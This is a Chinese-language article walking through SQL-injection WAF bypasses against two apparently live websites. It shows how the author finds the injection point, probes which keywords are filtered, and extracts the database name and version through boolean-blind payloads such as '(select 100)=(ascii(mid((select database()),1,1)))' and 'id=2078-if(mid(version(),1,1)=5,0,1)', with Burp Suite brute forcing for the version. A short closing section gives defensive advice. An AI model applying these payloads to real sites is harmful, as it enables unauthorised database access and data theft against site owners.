SQL注入绕过WAF策略实例分析


01实例1分析
已部署WAF的某网站SQL注入漏洞:
1、正常访问页面,发现注入点:hostID=1

2、加单引号 ' 报错,存在注入点,很明显有木有。

3、order by语句爆字段数,order by 44正常

order by 45报错

4、开始union select

被WAF拦截到了。<这里猜测是过滤了某些关键字,如and union select>

5、开始尝试工具爆库
先后尝试pangolin、havij、sqlmap等工具依然不能获得有效信息

6、开始手工尝试,分析WAF策略
and 1=1 被拦截。
and =  报错,但没有被拦截
and 1   正常
and (select 1) 正常
and union  报错,但没有被拦截
and union select 报错,但没有被拦截
and union select 1,2,…… 被拦截
and union/**/select/**/1,2……  被拦截
……
继续研究union select的各种变形突破(编码、HPP、注释、重写、符号连接(+ - .等)、混淆等手段),均被WAF拦截,

分析策略:由以上尝试发现此WAF对union select的防护能力很强,限制的很死,基本无法突破,必须转换思路。经过思考尝试,发现策略中没有对and (select 1)=(select 1)形式进行防御,虽可以利用。

7、构造攻击语句<select ascii(mid(user(),1,1));>
hostID=2 and (select 101)=(ascii(mid((select database()),1,1))) 页面错误
hostID=2 and (select 100)=(ascii(mid((select database()),1,1))) 页面正常


已经可以获得数据库名的第一位了,说明这种攻击方法是起作用的。通过修改mid()函数可以继续爆出剩下几位的内容,思路是可以继续的,比如还可以爆user()、version()等等。
    
8、使用burpsuite配合爆信息
这回以数据库的版本号为例进行演示。
构造的语句:
hostID=2 and (select 4)=((mid((select version()),1,1)))

错误说明版本号不是4开头的,结合burpsuite进行暴力破解版本号。
截获到数据包后,设置攻击载荷加载的变量。


设置攻击载荷为:0,1,2,3,4,5,6,7,8,9。

开始工具自动破解。

由攻击结果发现,当为5时,页面响应正常200,说明数据库版本号第一位是5。
可以在浏览器中验证一下。

页面返回正常。
可以继续破解其他几位的信息。

注:
1)可以先len()一下要爆内容的长度,然后再逐位爆内容。
2)可以使用burpsuite或Python编写自动化脚本配合对内容的暴力破解,以节省大量人力。


02实例2分析
这个也是可以order by 的,但是依然不能union select,现直接分析WAF策略:
and (select 1)=(select 1) 被waf拦截,貌似这个waf策略比上一个强。

and 1 被拦截
and 报错,木有被拦截
and select 被拦截
select 报错,没有被拦截
?id=2078-1 正常
?id=2078-if(1,0,1)  正常
?id=2077-mid(123,1,1)  正常
……
由此,可以构造出绕过WAF的SQL注入语句  ?id=2078-if(mid(version(),1,1)=5,0,1)
当数据库版本号的第一位正确时,显示id=2078的页面文章,当版本号错误时显示id=2077的页面文章。据此可以猜解出数据库的版本。用类似思路方法,可以猜解其他敏感的信息。


03总结
针对以上情况,在网站防护方面主要分为两部分:
a)对于WAF的开发者而言:
   1、研究新型攻击手段以及注意灵活的攻击手法。
   2、增加策略的全面性,要尽可能的覆盖到所有的情况,并及时发布产品的升级补丁。

b)对于网站的管理者而言:
   1、当发现自己的Web应用存在漏洞时,应第一时间解决漏洞,对代码进行修改、加固或对相关版本进行升级,保证从自身根本的解决漏洞问题。
   2、有时对于一个Web的升级或修改是不易的,那么就需要管理者及时升级WAF的版本或部署防护功能更加全面的产品。